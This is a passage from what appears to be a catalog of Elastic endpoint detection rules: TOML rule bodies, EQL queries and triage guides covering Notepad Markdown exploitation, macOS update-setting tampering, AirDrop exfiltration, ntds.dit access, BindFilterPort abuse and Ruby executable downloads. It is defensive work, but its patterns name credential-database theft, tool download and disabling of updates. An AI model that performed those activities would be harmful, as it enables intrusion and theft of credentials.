- Escalate when child intent, descendant lineage, artifact staging, or destinations point to payload delivery, even if one conditional telemetry family is absent; close only when source path, child identity, command target, and `user.id`/`host.id` context prove one benign workflow; preserve evidence and escalate when telemetry is missing or contradictory.

### False positive analysis

- Authorized CVE validation, QA, or security lab activity can trigger this rule when controlled Markdown samples intentionally launch a stable helper. Confirm `process.parent.args`, child `process.executable`, child hash or signer, child `process.command_line`, and `user.id`/`host.id` cohort all match the same validation workflow; prior alerts support stability only after those anchors align.
- Before creating an exception, validate stability for the same child identity, child command-target pattern, Markdown path family from `process.parent.args`, and `user.id` or `host.id` scope. Avoid exceptions on `process.parent.name`, `process.name`, or Notepad alone.

### Response and remediation

- If confirmed benign:
  - Reverse temporary containment and record the Markdown path, child process identity, command target, and cohort evidence that confirmed the benign workflow. Build an exception only for the same stable `user.id` or `host.id` scope and child identity.
- If suspicious but unconfirmed:
  - Preserve the triggering Markdown file, parent `process.parent.command_line`, child `process.entity_id`, child `process.command_line`, descendant process identifiers, written artifact paths, and DNS or IP indicators before cleanup.
  - Apply reversible containment tied to observed indicators, such as temporary restriction of the observed destination or heightened monitoring on the affected `host.id` and `user.id`.
  - Escalate to host isolation if the child continues spawning payloads, downloading content, or contacting suspicious destinations after preservation.
- If confirmed malicious:
  - Isolate the host first, then stop the malicious child and descendant `process.entity_id` values after recording `process.entity_id`, `process.command_line`, the Markdown path from `process.parent.args`, and related artifact or destination indicators. If direct response is unavailable, hand off the preserved evidence set to the containment team.
  - Block confirmed malicious domains, IPs, URLs, hashes, and child process paths identified during the investigation.
  - Eradicate only the dropped files, startup artifacts, scheduled tasks, registry changes, and payload runners tied to the exploit chain, then quarantine the triggering Markdown file and remediate its delivery path.
- Post-incident hardening:
  - Update the Windows Notepad App to a version that remediates CVE-2026-20841, and restrict unsafe protocol-handler launch exposure for Markdown viewers where enterprise controls support it.
  - Preserve or expand file and network telemetry if missing visibility prevented confirmation of Markdown source, payload staging, or destination activity.
  - Record the Markdown delivery path, child-process pattern, and adjacent protocol-handler or payload variants in the case notes.
"""

setup = """## Setup

This rule is designed for data generated by [Elastic Defend](https://www.elastic.co/security/endpoint-security), which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules.

Setup instructions: https://ela.st/install-elastic-defend

### Additional data sources

This rule also supports the following third-party data sources. For setup instructions, refer to the links below:

- [Microsoft Defender XDR](https://ela.st/m365-defender)
- [SentinelOne Cloud Funnel](https://ela.st/sentinel-one-cloud-funnel)
- [Sysmon Event ID 1 - Process Creation](https://ela.st/sysmon-event-1-setup)
"""

[rule.investigation_fields]
field_names = [
    "@timestamp",
    "host.id",
    "user.id",
    "process.entity_id",
    "process.pid",
    "process.executable",
    "process.command_line",
    "process.hash.sha256",
    "process.code_signature.subject_name",
    "process.code_signature.trusted",
    "process.code_signature.status",
    "process.parent.executable",
    "process.parent.command_line",
    "process.parent.args",
    "process.working_directory",
]

[transform]

[[transform.investigate]]
label = "File events for the same child process"
description = ""
providers = [
  [
    { excluded = false, field = "event.category", queryType = "phrase", value = "file", valueType = "string" },
    { excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
    { excluded = false, field = "process.entity_id", queryType = "phrase", value = "{{process.entity_id}}", valueType = "string" }
  ]
]
relativeFrom = "now-1h"
relativeTo = "now"

[[transform.investigate]]
label = "Network events for the same child process"
description = ""
providers = [
  [
    { excluded = false, field = "event.category", queryType = "phrase", value = "network", valueType = "string" },
    { excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
    { excluded = false, field = "process.entity_id", queryType = "phrase", value = "{{process.entity_id}}", valueType = "string" }
  ]
]
relativeFrom = "now-1h"
relativeTo = "now"

[[transform.investigate]]
label = "Alerts associated with the user"
description = ""
providers = [
  [
    { excluded = false, field = "event.kind", queryType = "phrase", value = "signal", valueType = "string" },
    { excluded = false, field = "user.id", queryType = "phrase", value = "{{user.id}}", valueType = "string" }
  ]
]
relativeFrom = "now-48h/h"
relativeTo = "now"

[[transform.investigate]]
label = "Alerts associated with the host"
description = ""
providers = [
  [
    { excluded = false, field = "event.kind", queryType = "phrase", value = "signal", valueType = "string" },
    { excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" }
  ]
]
relativeFrom = "now-48h/h"
relativeTo = "now"

[[transform.investigate]]
label = "Child process events for the Notepad-spawned child"
description = ""
providers = [
  [
    { excluded = false, field = "event.category", queryType = "phrase", value = "process", valueType = "string" },
    { excluded = false, field = "event.type", queryType = "phrase", value = "start", valueType = "string" },
    { excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
    { excluded = false, field = "process.parent.entity_id", queryType = "phrase", value = "{{process.entity_id}}", valueType = "string" }
  ],
  [
    { excluded = false, field = "event.category", queryType = "phrase", value = "process", valueType = "string" },
    { excluded = false, field = "event.type", queryType = "phrase", value = "start", valueType = "string" },
    { excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
    { excluded = false, field = "process.parent.pid", queryType = "phrase", value = "{{process.pid}}", valueType = "string" }
  ]
]
relativeFrom = "now-1h"
relativeTo = "now"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1203"
name = "Exploitation for Client Execution"
reference = "https://attack.mitre.org/techniques/T1203/"

[[rule.threat.technique]]
id = "T1204"
name = "User Execution"
reference = "https://attack.mitre.org/techniques/T1204/"

[[rule.threat.technique.subtechnique]]
id = "T1204.002"
name = "Malicious File"
reference = "https://attack.mitre.org/techniques/T1204/002/"

[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"

Stages and Predicates

Stage 1: process

process where host.os.type == "windows" and event.type == "start" and
  process.parent.name : "notepad.exe" and process.parent.args : "*.md" and
  not process.executable : "C:\\Program Files\\WindowsApps\\Microsoft.WindowsNotepad_*\\Notepad\\Notepad.exe"

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
process.executablewildcardC:\Program Files\WindowsApps\Microsoft.WindowsNotepad_*\Notepad\Notepad.exeexcludes:process.executable field:"process.executable" value:"C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_*\Notepad\Notepad.exe"

SoftwareUpdate Preferences Modification

#
Status
production
Severity
medium
Time window
9m
Author
Elastic
Source
github.com/elastic/detection-rules

Identifies changes to the SoftwareUpdate preferences using the built-in defaults command. Adversaries may abuse this in an attempt to disable security updates.

Known False Positives

  • Authorized SoftwareUpdate Settings Changes

MITRE ATT&CK Coverage

Rule Body

[metadata]
creation_date = "2021/01/15"
integration = ["endpoint"]
maturity = "production"
updated_date = "2026/03/24"

[rule]
author = ["Elastic"]
description = """
Identifies changes to the SoftwareUpdate preferences using the built-in defaults command. Adversaries may abuse this in
an attempt to disable security updates.
"""
false_positives = ["Authorized SoftwareUpdate Settings Changes"]
from = "now-9m"
index = ["logs-endpoint.events.*"]
language = "eql"
license = "Elastic License v2"
name = "SoftwareUpdate Preferences Modification"
references = ["https://blog.checkpoint.com/2017/07/13/osxdok-refuses-go-away-money/"]
risk_score = 47
rule_id = "f683dcdf-a018-4801-b066-193d4ae6c8e5"
setup = """## Setup

This rule requires data coming in from Elastic Defend.

### Elastic Defend Integration Setup
Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.

#### Prerequisite Requirements:
- Fleet is required for Elastic Defend.
- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).

#### The following steps should be executed in order to add the Elastic Defend integration on a macOS System:
- Go to the Kibana home page and click "Add integrations".
- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
- Click "Add Elastic Defend".
- Configure the integration name and optionally add a description.
- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints".
- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).
- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
For more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/current/agent-policy.html).
- Click "Save and Continue".
- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
For more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).
"""
severity = "medium"
tags = [
    "Domain: Endpoint",
    "OS: macOS",
    "Use Case: Threat Detection",
    "Tactic: Defense Evasion",
    "Data Source: Elastic Defend",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"

query = '''
process where host.os.type == "macos" and event.type in ("start", "process_started") and
 process.name == "defaults" and
 process.args like "write" and process.args like "-bool" and process.args like~ ("com.apple.SoftwareUpdate", "/Library/Preferences/com.apple.SoftwareUpdate.plist") and not process.args like ("TRUE", "true")
'''
note = """## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating SoftwareUpdate Preferences Modification

In macOS environments, the SoftwareUpdate preferences manage system updates, crucial for maintaining security. Adversaries may exploit the 'defaults' command to alter these settings, potentially disabling updates to evade defenses. The detection rule identifies such modifications by monitoring specific command executions that attempt to change update preferences without enabling them, signaling potential malicious activity.

### Possible investigation steps

- Review the process execution details to confirm the presence of the 'defaults' command with arguments attempting to modify SoftwareUpdate preferences, specifically looking for 'write', '-bool', and the targeted preferences file paths.
- Check the user account associated with the process execution to determine if it aligns with expected administrative activity or if it might be indicative of unauthorized access.
- Investigate the host's recent activity for any other suspicious processes or commands that may suggest a broader attempt to impair system defenses or evade detection.
- Examine system logs and security alerts around the time of the detected event to identify any correlated activities or anomalies that could provide additional context or evidence of malicious intent.
- Assess the current state of the SoftwareUpdate preferences on the affected host to verify if updates have been disabled or altered, and take corrective actions if necessary.

### False positive analysis

- System administrators may use the defaults command to configure SoftwareUpdate settings during routine maintenance. To handle this, create exceptions for known administrative scripts or processes that frequently execute these commands.
- Automated configuration management tools might alter SoftwareUpdate preferences as part of their standard operations. Identify these tools and exclude their process identifiers from triggering the rule.
- Some legitimate applications may require specific update settings and modify preferences accordingly. Monitor and whitelist these applications to prevent unnecessary alerts.
- User-initiated changes to update settings for personal preferences can trigger false positives. Educate users on the implications of such changes and consider excluding user-specific processes if they are consistently non-threatening.
- During system setup or reconfiguration, defaults commands may be used to establish baseline settings. Temporarily disable the rule or set up a temporary exception during these periods to avoid false alerts.

### Response and remediation

- Immediately isolate the affected macOS system from the network to prevent potential spread or further unauthorized changes.
- Review the process execution logs to confirm the unauthorized use of the 'defaults' command and identify any associated user accounts or processes.
- Revert any unauthorized changes to the SoftwareUpdate preferences by resetting them to their default state using the 'defaults' command with appropriate parameters.
- Conduct a thorough scan of the affected system for additional signs of compromise, such as malware or unauthorized access attempts, using endpoint security tools.
- Change passwords and review permissions for any user accounts involved in the incident to prevent further unauthorized access.
- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected.
- Implement enhanced monitoring for similar command executions across the network to detect and respond to future attempts promptly."""


[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1562"
name = "Impair Defenses"
reference = "https://attack.mitre.org/techniques/T1562/"

[[rule.threat.technique.subtechnique]]
id = "T1562.001"
name = "Disable or Modify Tools"
reference = "https://attack.mitre.org/techniques/T1562/001/"

[[rule.threat.technique]]
id = "T1647"
name = "Plist File Modification"
reference = "https://attack.mitre.org/techniques/T1647/"

[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

Stages and Predicates

Stage 1: process

process where host.os.type == "macos" and event.type in ("start", "process_started") and
 process.name == "defaults" and
 process.args like "write" and process.args like "-bool" and process.args like~ ("com.apple.SoftwareUpdate", "/Library/Preferences/com.apple.SoftwareUpdate.plist") and not process.args like ("TRUE", "true")

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event.typein
  • process_started
  • start
field:"event.type" kind:in
process.argswildcard
  • -bool
  • /Library/Preferences/com.apple.SoftwareUpdate.plist
  • com.apple.SoftwareUpdate
  • write
field:"process.args" kind:wildcard
process.nameeq
  • defaults
field:"process_basename" kind:eq value:"defaults"

Exclusions

The rule actively suppresses these predicates.

Spike in Bytes Sent to an External Device via Airdrop

#
Status
production
Severity
low
Author
Elastic
Source
github.com/elastic/detection-rules

A machine learning job has detected high bytes of data written to an external device via Airdrop. In a typical operational setting, there is usually a predictable pattern or a certain range of data that is written to external devices. An unusually large amount of data being written is anomalous and can signal illicit data copying or transfer activities.

MITRE ATT&CK Coverage

Rule Body

[metadata]
creation_date = "2023/09/22"
integration = ["ded", "endpoint"]
maturity = "production"
updated_date = "2026/07/27"
min_stack_version = "9.4.0"
min_stack_comments = "Use EA (Entity Analytics) fields"

[rule]
anomaly_threshold = 75
author = ["Elastic"]
description = """
A machine learning job has detected high bytes of data written to an external device via Airdrop. In a typical
operational setting, there is usually a predictable pattern or a certain range of data that is written to external
devices. An unusually large amount of data being written is anomalous and can signal illicit data copying or transfer
activities.
"""
from = "now-2h"
interval = "15m"
license = "Elastic License v2"
machine_learning_job_id = "ded_high_bytes_written_to_external_device_airdrop_ea"
name = "Spike in Bytes Sent to an External Device via Airdrop"
references = [
    "https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html",
    "https://docs.elastic.co/en/integrations/ded",
    "https://www.elastic.co/blog/detect-data-exfiltration-activity-with-kibanas-new-integration",
]
risk_score = 21
rule_id = "e92c99b6-c547-4bb6-b244-2f27394bc849"
setup = """## Setup

The rule requires the Data Exfiltration Detection integration assets to be installed, as well as network and file events collected by integrations such as Elastic Defend and Network Packet Capture (for network events only).

### Data Exfiltration Detection Setup
The Data Exfiltration Detection integration detects data exfiltration activity by identifying abnormalities in network and file events. Anomalies are detected using Elastic's Anomaly Detection feature.

#### Prerequisite Requirements:
- Fleet is required for Data Exfiltration Detection.
- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).
- File events collected by the Elastic Defend integration.
- To install Elastic Defend, refer to the [documentation](https://www.elastic.co/guide/en/security/current/install-endpoint.html).

#### The following steps should be executed to install assets associated with the Data Exfiltration Detection integration:
- Go to the Kibana homepage. Under Management, click Integrations.
- In the query bar, search for Data Exfiltration Detection and select the integration to see more details about it.
- Follow the instructions under the **Installation** section.
- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**.
"""
severity = "low"
tags = [
    "Data Source: Elastic Defend",
    "Use Case: Data Exfiltration Detection",
    "Rule Type: ML",
    "Rule Type: Machine Learning",
    "Tactic: Exfiltration",
    "Resources: Investigation Guide",
]
type = "machine_learning"
note = """## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating Spike in Bytes Sent to an External Device via Airdrop

Airdrop facilitates seamless file sharing between Apple devices, leveraging Bluetooth and Wi-Fi. While convenient, adversaries can exploit it for unauthorized data exfiltration by transferring large volumes of sensitive data. The detection rule employs machine learning to identify anomalies in data transfer patterns, flagging unusual spikes in bytes sent as potential exfiltration attempts, thus aiding in early threat detection.

### Possible investigation steps

- Review the alert details to identify the specific device and user involved in the data transfer. Check for any known associations with previous incidents or suspicious activities.
- Analyze the volume of data transferred and compare it to typical usage patterns for the device and user. Determine if the spike is significantly higher than usual.
- Investigate the time and context of the data transfer. Correlate with other logs or alerts to identify any concurrent suspicious activities or anomalies.
- Check the destination device's details to verify if it is a recognized and authorized device within the organization. Investigate any unknown or unauthorized devices.
- Contact the user associated with the alert to verify the legitimacy of the data transfer. Gather information on the nature of the files transferred and the purpose of the transfer.
- Review any recent changes in the user's access privileges or roles that might explain the increased data transfer activity.

### False positive analysis

- Regular large file transfers for legitimate business purposes, such as media companies transferring video files, can trigger false positives. Users can create exceptions for specific devices or user accounts known to perform these tasks regularly.
- Software updates or backups that involve transferring large amounts of data to external devices may be misidentified as exfiltration attempts. Users should whitelist these activities by identifying the associated processes or applications.
- Educational institutions or creative teams often share large files for collaborative projects. Establishing a baseline for expected data transfer volumes and excluding these from alerts can reduce false positives.
- Devices used for testing or development purposes might frequently send large data volumes. Users can exclude these devices from monitoring by adding them to an exception list.
- Personal use of Airdrop for transferring large media files, such as photos or videos, can be mistaken for suspicious activity. Users can mitigate this by setting thresholds that account for typical personal use patterns.

### Response and remediation

- Immediately isolate the affected device from the network to prevent further data exfiltration.
- Verify the identity and permissions of the user associated with the anomalous Airdrop activity to ensure they are authorized to transfer data.
- Conduct a forensic analysis of the device to identify any unauthorized applications or processes that may have facilitated the data transfer.
- Review and revoke any unnecessary permissions or access rights for the user or device involved in the incident.
- Escalate the incident to the security operations center (SOC) for further investigation and to determine if the activity is part of a larger threat campaign.
- Implement additional monitoring on the affected device and similar devices to detect any further anomalous Airdrop activities.
- Update security policies and controls to restrict Airdrop usage to only trusted devices and networks, reducing the risk of future unauthorized data transfers."""
[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1011"
name = "Exfiltration Over Other Network Medium"
reference = "https://attack.mitre.org/techniques/T1011/"

[[rule.threat.technique.subtechnique]]
id = "T1011.001"
name = "Exfiltration Over Bluetooth"
reference = "https://attack.mitre.org/techniques/T1011/001/"

[rule.threat.tactic]
id = "TA0010"
name = "Exfiltration"
reference = "https://attack.mitre.org/tactics/TA0010/"

Suspicious Access to Active Directory Database File

#
Source
github.com/elastic/protections-artifacts

Identifies access to the Active Directory Domain Database file (ntds.dit). This file contains sensitive information including hashed domain credentials.

MITRE ATT&CK Coverage

TacticTechniques
Credential Access

Rule Body

[rule]
description = """
Identifies access to the Active Directory Domain Database file (ntds.dit). This file contains sensitive information
including hashed domain credentials.
"""
id = "d66765b8-010b-4a40-ab62-1d8f13a44878"
license = "Elastic License v2"
name = "Suspicious Access to Active Directory Database File"
os_list = ["windows"]
reference = [
    "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration",
]
version = "1.0.35"

query = '''
file where event.action == "open" and process.pid != 4 and 
 file.path : "*\\Windows\\NTDS\\ntds.dit" and process.executable : "?:\\*" and
 /* covered by RuleId 3c44fc50-2672-48b3-af77-ff43b895ac70 */
 not process.executable :
             ("?:\\Windows\\System32\\ntdsutil.exe",
              "?:\\Windows\\System32\\esentutl.exe",
              "?:\\Windows\\system32\\lsass.exe",
              "?:\\Windows\\System32\\wbengine.exe",
              "?:\\Program Files\\*.exe",
              "?:\\Program Files (x86)\\*.exe",
              "C:\\PCBP\\WBPS.exe",
              "?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*.exe", 
              "?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\*.exe",
              "?:\\Windows\\explorer.exe") and
 not (process.code_signature.subject_name in ("EFOLDER, INC.", "Avira Operations GmbH") and process.code_signature.trusted == true)
'''

min_endpoint_version = "8.1.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1003"
name = "OS Credential Dumping"
reference = "https://attack.mitre.org/techniques/T1003/"
[[threat.technique.subtechnique]]
id = "T1003.003"
name = "NTDS"
reference = "https://attack.mitre.org/techniques/T1003/003/"



[threat.tactic]
id = "TA0006"
name = "Credential Access"
reference = "https://attack.mitre.org/tactics/TA0006/"

[internal]
min_endpoint_version = "8.1.0"

Stages and Predicates

Stage 1: file

file where event.action == "open" and process.pid != 4 and
 file.path : "*\\Windows\\NTDS\\ntds.dit" and process.executable : "?:\\*" and
 not process.executable :
             ("?:\\Windows\\System32\\ntdsutil.exe",
              "?:\\Windows\\System32\\esentutl.exe",
              "?:\\Windows\\system32\\lsass.exe",
              "?:\\Windows\\System32\\wbengine.exe",
              "?:\\Program Files\\*.exe",
              "?:\\Program Files (x86)\\*.exe",
              "C:\\PCBP\\WBPS.exe",
              "?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*.exe",
              "?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\*.exe",
              "?:\\Windows\\explorer.exe") and
 not (process.code_signature.subject_name in ("EFOLDER, INC.", "Avira Operations GmbH") and process.code_signature.trusted == true)

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event.actioneq
  • open corpus 49 (elastic 49)
field:"EventType" kind:eq value:"open"
file.pathwildcard
  • *\Windows\NTDS\ntds.dit
field:"TargetFilename" kind:wildcard value:"*\Windows\NTDS\ntds.dit"
process.executablewildcard
  • ?:\* corpus 18 (elastic 18)
field:"Image" kind:wildcard value:"?:\*"
process.pidne
  • 4 transforms: number corpus 44 (elastic 44)
field:"process_id" kind:ne value:"4"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
process.code_signature.subject_nameinAvira Operations GmbH, EFOLDER, INC.excludes:process.code_signature.subject_name field:"process.code_signature.subject_name" value:"Avira Operations GmbH" field:"process.code_signature.subject_name" value:"EFOLDER, INC."
process.code_signature.trustedeqtrueexcludes:process.code_signature.trusted field:"process.code_signature.trusted" value:"true"
process.executablewildcard?:\Windows\System32\ntdsutil.exe, ?:\Windows\System32\esentutl.exe, ?:\Windows\system32\lsass.exe, ?:\Windows\System32\wbengine.exe, ?:\Program Files\*.exe, ?:\Program Files (x86)\*.exe, C:\PCBP\WBPS.exe, ?:\ProgramData\Microsoft\Windows Defender\Platform\*.exe, ?:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\Platform\*.exe, ?:\Windows\explorer.exeexcludes:process.executable

Suspicious BindFilterPort Client Process

#
Source
github.com/elastic/protections-artifacts

Identifies attempts to load send IOCTL requests directly to the Bind Filter Port device from an unusual client process. This may indicate the presence of folder redirection functionality using the bind link feature of Windows.

MITRE ATT&CK Coverage

TacticTechniques
Stealth

Rule Body

[rule]
description = """
Identifies attempts to load send IOCTL requests directly to the Bind Filter Port device from an unusual client process.
This may indicate the presence of folder redirection functionality using the bind link feature of Windows.
"""
id = "67a459a1-6d86-4002-adc3-a6e1249a7d2e"
license = "Elastic License v2"
name = "Suspicious BindFilterPort Client Process"
os_list = ["windows"]
reference = [
    "https://www.zerosalarium.com/2025/10/DR-Redir-Break-EDR-Via-BindLink-Cloud-Filter.html",
    "https://learn.microsoft.com/en-us/windows/win32/bindlink/",
]
version = "1.0.2"

query = '''
api where
 process.Ext.api.name == "DeviceIoControl" and
 process.Ext.api.parameters.device like "\\Device\\BindFltPort" and
 not _arraysearch(process.thread.Ext.call_stack_final_user_module.code_signature, $caller,
                  $caller.trusted == true and $caller.subject_name in ("Microsoft Windows Publisher", "Microsoft Corporation", "Microsoft Windows"))
'''

min_endpoint_version = "8.14.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1574"
name = "Hijack Execution Flow"
reference = "https://attack.mitre.org/techniques/T1574/"


[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[internal]
min_endpoint_version = "8.14.0"

Stages and Predicates

Stage 1: api

api where
 process.Ext.api.name == "DeviceIoControl" and
 process.Ext.api.parameters.device like "\\Device\\BindFltPort" and
 not _arraysearch(process.thread.Ext.call_stack_final_user_module.code_signature, $caller,
                  $caller.trusted == true and $caller.subject_name in ("Microsoft Windows Publisher", "Microsoft Corporation", "Microsoft Windows"))

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
process.thread.Ext.call_stack_final_user_module.code_signaturearray_any(no value, null check)excludes:process.thread.Ext.call_stack_final_user_module.code_signature

Suspicious Executable Download via Ruby

#
Time window
1m
Sequence by
process.entity_id
Source
github.com/elastic/protections-artifacts

Detects when Ruby makes a network connection followed immediately by the rename or modification of a macOS binary. This initial diagnostic rule is meant to allow for an analysis of this activity and tune this rule to detect potential malicious initial access via Ruby scripts or packages.

MITRE ATT&CK Coverage

TacticTechniques
Command & Control

Telemetry Coverage

Rule Body

[rule]
description = """
Detects when Ruby makes a network connection followed immediately by the rename or modification of a macOS binary. This
initial diagnostic rule is meant to allow for an analysis of this activity and tune this rule to detect potential
malicious initial access via Ruby scripts or packages.
"""
id = "42e3338b-c9a0-45bc-9ebf-dfbf1c45289d"
license = "Elastic License v2"
name = "Suspicious Executable Download via Ruby"
os_list = ["macos"]
reference = ["https://www.mandiant.com/resources/blog/north-korea-supply-chain"]
version = "1.0.15"

query = '''
sequence by process.entity_id with maxspan=1m
[network where event.type == "start" and process.name == "ruby"]
[file where event.action == "modification" and process.name == "ruby" and 
 file.Ext.header_bytes like~ ("cffaedfe*", "cafebabe*") and
 file.path like~ ("/Users/Shared/*", "/tmp/*", "/private/tmp/*", "/var/tmp/*", "/private/var/tmp/*", "/usr/local/bin/*") and
 not file.extension in ("dylib", "so", "bundle")]
'''

min_endpoint_version = "8.16.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 1

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1105"
name = "Ingress Tool Transfer"
reference = "https://attack.mitre.org/techniques/T1105/"


[threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"

[internal]
min_endpoint_version = "8.16.0"

Stages and Predicates

Ordered sequence: each step below must occur in order within 1m, correlated by process.entity_id.

Stage 1: network

[network where event.type == "start" and process.name == "ruby"]

Stage 2: file

[file where event.action == "modification" and process.name == "ruby" and 
 file.Ext.header_bytes like~ ("cffaedfe*", "cafebabe*") and
 file.path like~ ("/Users/Shared/*", "/tmp/*", "/private/tmp/*", "/var/tmp/*", "/private/var/tmp/*", "/usr/local/bin/*") and
 not file.extension in ("dylib", "so", "bundle")]

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event.actioneq
  • modification corpus 72 (elastic 72)
field:"EventType" kind:eq value:"modification"
event.typeeq
  • start corpus 1036 (elastic 1036)
field:"event.type" kind:eq value:"start"
file.Ext.header_byteswildcard
  • cafebabe* corpus 19 (elastic 19)
  • cffaedfe* corpus 19 (elastic 19)
field:"file.Ext.header_bytes" kind:wildcard
file.pathwildcard
  • /Users/Shared/* corpus 3 (elastic 3)
  • /private/tmp/* corpus 3 (elastic 3)
  • /private/var/tmp/* corpus 2 (elastic 2)
  • /tmp/* corpus 9 (elastic 8, sigma 1)
  • /usr/local/bin/* corpus 2 (elastic 2)
  • /var/tmp/* corpus 8 (elastic 7, sigma 1)
field:"TargetFilename" kind:wildcard
process.nameeq
  • ruby
field:"process_basename" kind:eq value:"ruby"

Exclusions

The rule actively suppresses these predicates.

Suspicious Shortcut Modification

#
Time window
1m
Sequence by
process.entity_id
Source
github.com/elastic/protections-artifacts

Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.

MITRE ATT&CK Coverage

Rule Body

[rule]
description = """
Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts are
used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a
system startup process.
"""
id = "8bfc0b79-b3f1-4869-98b9-745b0bf1cb6e"
license = "Elastic License v2"
name = "Suspicious Shortcut Modification"
os_list = ["windows"]
version = "1.0.36"

query = '''
sequence by process.entity_id with maxspan=1m
[process where event.action == "start" and
 not user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20") and process.hash.sha256 != null and
 (
  process.name : ("rundll32.exe", "regsvr32.exe", "powershell.exe", "wscript.exe", "curl.exe", "certutil.exe", "cmd.exe") or
  ((process.Ext.relative_file_creation_time <= 300 or process.Ext.relative_file_name_modify_time <= 300) and
     not process.code_signature.status : "trusted")
 ) and 
 not process.executable : 
           ("?:\\Program Files\\*.exe", 
            "?:\\Program Files (x86)\\*.exe",
            "?:\\Config.Msi\\*.rbf",
            "?:\\Users\\*\\AppData\\Local\\Microsoft\\Edge\\Application\\*\\Installer\\setup.exe",
            "?:\\Windows\\servicing\\TrustedInstaller.exe",
            "?:\\Windows\\SystemApps\\*.exe",
            "?:\\Windows\\System32\\DeviceEnroller.exe",
            "?:\\Windows\\CCM\\UpdateTrustedSites.exe",
            "?:\\Users\\*\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
            "C:\\Program Files (x86)\\Lizard\\GPProcessing\\RunScript.exe") and
  not (process.code_signature.subject_name :
          ("Google*",
           "Notepad*",
           "Slack*",
           "Mozilla*",
           "Zoom*",
           "Discord*",
           "Citrix Systems, Inc.") and
       process.code_signature.trusted == true) and
  not (process.executable : "?:\\Users\\*\\Microsoft\\EdgeUpdate\\Install\\*\\setup.exe" and
       process.code_signature.subject_name : "Microsoft*" and process.code_signature.trusted == true) and

  not (process.executable : "?:\\Users\\*\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe" and
        process.code_signature.trusted == true and process.code_signature.subject_name : "Microsoft Corporation") and 
  not (process.name : ("wscript.exe", "cscript.exe", "cmd.exe") and process.command_line : "*\\\\*\\SysVol\\*") and 
  not (process.name : "cmd.exe" and process.args : "*.bat ") and
